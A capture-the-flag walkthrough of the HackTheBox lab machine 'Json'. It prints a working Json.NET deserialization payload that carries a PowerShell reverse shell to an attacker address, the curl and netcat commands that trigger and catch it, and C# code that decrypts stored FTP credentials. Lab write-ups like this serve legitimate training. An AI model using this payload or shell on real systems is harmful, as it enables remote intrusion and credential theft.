Json - HackTheBox
As usual, let's start with a port scan:
$ nmap -A -T4 10.10.10.158
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-16 10:11 EST
Nmap scan report for 10.10.10.158
Host is up (0.060s latency).
Not shown: 988 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp FileZilla ftpd
| ftp-syst:
|_ SYST: UNIX emulated by FileZilla
80/tcp open http Microsoft IIS httpd 8.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/8.5
|_http-title: Json HTB
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC
49158/tcp open msrpc Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 4h00m50s, deviation: 0s, median: 4h00m49s
|_nbstat: NetBIOS name: JSON, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:b9:7a:c3 (VMware)
|_smb-os-discovery: ERROR: Script execution failed (use -d to debug)
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2020-02-16T19:13:29
|_ start_date: 2020-02-16T04:04:18
The server is composed of a login page:
And trying common credentials we find out that admin:admin
works, but a non
functional web app is behind the login, so there's nothing to do there. An
interesting thing is that a cookie named OAuth2
gets set, and decoding it's
base64 value we get:
{
"Id": 1,
"UserName": "admin",
"Password": "21232f297a57a5a743894a0e4a801fc3",
"Name": "User Admin HTB",
"Rol": "Administrator"
}
By intercepting the request with Burp we can see that the same value will be sent in the Bearer HTTP header:
Modifying it to a random value will trigger an error:
Using a base64 valid value we get another error:
This time we get more information about the backend, it seems like it uses Json.NET to deserialize the data.
We can use ysoserial to generate custom payloads to exploit this vulnerability, you can read more about it here.
As the command that I want to execute contains a lot of characters that needs to be escaped, I crafted the payload manually by modifing the one found on the Github page, here is it:
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['powershell','-nop -c "$client = New-Object System.Net.Sockets.TCPClient(\'10.10.14.81\',1337);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + \'PS \' + (pwd).Path + \'> \';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
It's just a basic reverse shell for Powershell. Save it in a file and after
running a netcat listener, make the request with curl http://10.10.10.158/api/Account -H "Bearer: $(base64 -w 0 <filename>)"
.
$ rlwrap nc -lnvp 1337
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 10.10.10.158
Ncat: Connection from 10.10.10.158:50439.
PS C:\windows\system32\inetsrv> whoami
json\userpool
And we have a shell as userpool
. Let's check if we can read the flag:
PS C:\windows\system32\inetsrv> Get-Acl C:\Users\userpool\Desktop\user.txt
Directory: C:\Users\userpool\Desktop
Path Owner Access
---- ----- ------
user.txt JSON\userpool NT AUTHORITY\SYSTEM Al...
Privilege escalation
While inspecting the files on the drive, I found a curious one in C:\Program Files\Sync2Ftp\SyncLocation.exe.config
:
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
<appSettings>
<add key="destinationFolder" value="ftp://localhost/"/>
<add key="sourcefolder" value="C:\inetpub\wwwroot\jsonapp\Files"/>
<add key="user" value="4as8gqENn26uTs9srvQLyg=="/>
<add key="minute" value="30"/>
<add key="password" value="oQ5iORgUrswNRsJKH9VaCw=="></add>
<add key="SecurityKey" value="_5TL#+GWWFv6pfT3!GXw7D86pkRRTv+$$tk^cL5hdU%"/>
</appSettings>
<startup>
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.7.2" />
</startup>
</configuration>
It looks like we have some encrypted credentials. We can use
dnSpy to reverse the SyncLocation.exe
file
and understand more about how it decrypts the credentials:
Cool, easy and simple! Let's copy the code and modify it a bit:
using System;
using System.Text;
using System.Security.Cryptography;
using System.Configuration;
public class Program {
public static string Decrypt(string cipherString, bool useHashing)
{
byte[] array = Convert.FromBase64String(cipherString);
AppSettingsReader appSettingsReader = new AppSettingsReader();
string s = "_5TL#+GWWFv6pfT3!GXw7D86pkRRTv+$$tk^cL5hdU%";
byte[] key;
if (useHashing)
{
MD5CryptoServiceProvider md5CryptoServiceProvider = new MD5CryptoServiceProvider();
key = md5CryptoServiceProvider.ComputeHash(Encoding.UTF8.GetBytes(s));
md5CryptoServiceProvider.Clear();
}
else
{
key = Encoding.UTF8.GetBytes(s);
}
TripleDESCryptoServiceProvider tripleDESCryptoServiceProvider = new TripleDESCryptoServiceProvider();
tripleDESCryptoServiceProvider.Key = key;
tripleDESCryptoServiceProvider.Mode = CipherMode.ECB;
tripleDESCryptoServiceProvider.Padding = PaddingMode.PKCS7;
ICryptoTransform cryptoTransform = tripleDESCryptoServiceProvider.CreateDecryptor();
byte[] bytes = cryptoTransform.TransformFinalBlock(array, 0, array.Length);
tripleDESCryptoServiceProvider.Clear();
return Encoding.UTF8.GetString(bytes);
}
public static void Main()
{
Console.WriteLine(Decrypt("4as8gqENn26uTs9srvQLyg==", true));
Console.WriteLine(Decrypt("oQ5iORgUrswNRsJKH9VaCw==", true));
}
}
We can use an online compile like dotnetfiddle and after running it we get the credentials:
superadmin
funnyhtb
Using them to login into the FTP server allows us to read the flag:
Thanks for reading!